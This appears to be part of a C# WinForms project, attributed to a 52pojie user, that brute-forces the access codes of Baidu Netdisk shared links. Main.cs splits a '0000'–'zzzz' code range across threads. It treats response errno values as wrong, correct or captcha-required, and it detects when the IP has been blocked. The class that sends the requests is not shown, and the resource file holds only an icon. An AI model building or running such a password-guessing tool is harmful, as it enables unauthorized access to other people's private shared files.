this.text_ksd.MaxLength = 4; this.text_ksd.Name = "text_ksd"; this.text_ksd.Size = new System.Drawing.Size(186, 21); this.text_ksd.TabIndex = 6; this.text_ksd.Text = "0000"; // // txt_jsd // this.txt_jsd.AutoSize = true; this.txt_jsd.Location = new System.Drawing.Point(15, 128); this.txt_jsd.Name = "txt_jsd"; this.txt_jsd.Size = new System.Drawing.Size(77, 12); this.txt_jsd.TabIndex = 3; this.txt_jsd.Text = "密码结束点:"; // // txt_ksd // this.txt_ksd.AutoSize = true; this.txt_ksd.Location = new System.Drawing.Point(15, 93); this.txt_ksd.Name = "txt_ksd"; this.txt_ksd.Size = new System.Drawing.Size(77, 12); this.txt_ksd.TabIndex = 2; this.txt_ksd.Text = "密码开始点:"; // // txt_ts // this.txt_ts.ForeColor = System.Drawing.Color.Red; this.txt_ts.Location = new System.Drawing.Point(12, 209); this.txt_ts.Name = "txt_ts"; this.txt_ts.Size = new System.Drawing.Size(460, 25); this.txt_ts.TabIndex = 4; this.txt_ts.Text = "提示文本"; // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(484, 241); this.Controls.Add(this.txt_ts); this.Controls.Add(this.gb_1); this.Controls.Add(this.text_url); this.Controls.Add(this.txt_url); this.Controls.Add(this.btn); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MaximumSize = new System.Drawing.Size(500, 280); this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(500, 280); this.Name = "Main"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "百度网盘分享文件密码测试器 —By:52pojie(zgcwkj)"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing); this.Load += new System.EventHandler(this.Main_Load); this.gb_1.ResumeLayout(false); this.gb_1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Button btn; private System.Windows.Forms.Label txt_url; private System.Windows.Forms.TextBox text_url; private System.Windows.Forms.GroupBox gb_1; private System.Windows.Forms.Label txt_ksd; private System.Windows.Forms.Label txt_jsd; private System.Windows.Forms.TextBox text_jsd; private System.Windows.Forms.TextBox text_ksd; private System.Windows.Forms.TextBox text_zxsd; private System.Windows.Forms.TextBox text_xczs; private System.Windows.Forms.Label txt_zxsd; private System.Windows.Forms.Label txt_xczs; private System.Windows.Forms.Label txt_ts; } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Main.cs ================================================ using System; using System.IO; using System.Timers; using System.Windows.Forms; namespace zgcwkj { public partial class Main : Form { public Main() { InitializeComponent(); } private void Main_Load(object sender, EventArgs e) { if (!File.Exists("Configuration.ini")) File.AppendAllText("Configuration.ini", "|100|200|0000|zzzz"); string[] Configuration = File.ReadAllText("Configuration.ini").Split('|'); text_url.Text = Configuration[0]; text_xczs.Text = Configuration[1]; text_zxsd.Text = Configuration[2]; text_ksd.Text = Configuration[3]; text_jsd.Text = Configuration[4]; } private void Main_FormClosing(object sender, FormClosingEventArgs e) { File.Delete("Configuration.ini"); File.AppendAllText("Configuration.ini", text_url.Text + "|" + text_xczs.Text + "|" + text_zxsd.Text + "|" + text_ksd.Text + "|" + text_jsd.Text); } private void btn_Click(object sender, EventArgs e)//启动按钮 { if (text_url.Text == "") { MessageBox.Show("啥也没输入呢!"); return; }//防止空文本也执行 StaticClass.Folder = DateTime.Now.ToString("yyyyMMddHHmmss");//用时间达到随机名称功能 if (!File.Exists(StaticClass.Folder + ".ini")) File.AppendAllText(StaticClass.Folder + ".ini", "时间:" + StaticClass.Folder + ",目标连接:" + text_url.Text + "\r\n"); int start = Hash.Str2Hash(text_ksd.Text); int end = Hash.Str2Hash(text_jsd.Text); int total = end - start + 1;//尝试的总数 int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数 gb_1.Text = "一共要尝试" + total + "次密码"; enabled(false); StaticClass.status = false; StaticClass.url = text_url.Text.Trim(); for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++) { new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text)); } text_ksd.Text = text_jsd.Text; } delegate void Modifystr(string str1, string str2);//委托进行显示数据 public void ModifyStr(string str1, string str2)//委托进行显示数据 { if (InvokeRequired) { Modifystr stcb = new Modifystr(ModifyStr); Invoke(stcb, new object[] { str1, str2 }); } else { txt_ts.Text = str1 + "》正在尝试:" + str2; File.AppendAllText(StaticClass.Folder + ".ini", txt_ts.Text + "\r\n"); if (str1.Contains("\"errno\":-9"))//密码错误 { } else if (str1.Contains("\"errno\":0"))//密码正常 { enabled(true); StaticClass.status = true; MessageBox.Show("密码是:" + str2); } else if (str1.Contains("\"errno\":-62"))//要输入验证码 { } else if (str1.Contains("404"))//拒绝访问 { enabled(true); StaticClass.status = true; MessageBox.Show("你的IP被拒绝访问,请稍后重试"); } else { }//未知错误 } } private void _KeyPress(object sender, KeyPressEventArgs e)//限制输入 { if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true; } public void enabled(bool b)//启用或禁用控件 { gb_1.Enabled = btn.Enabled = b; } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Main.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3 LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0 OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3 IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4 VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06 SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 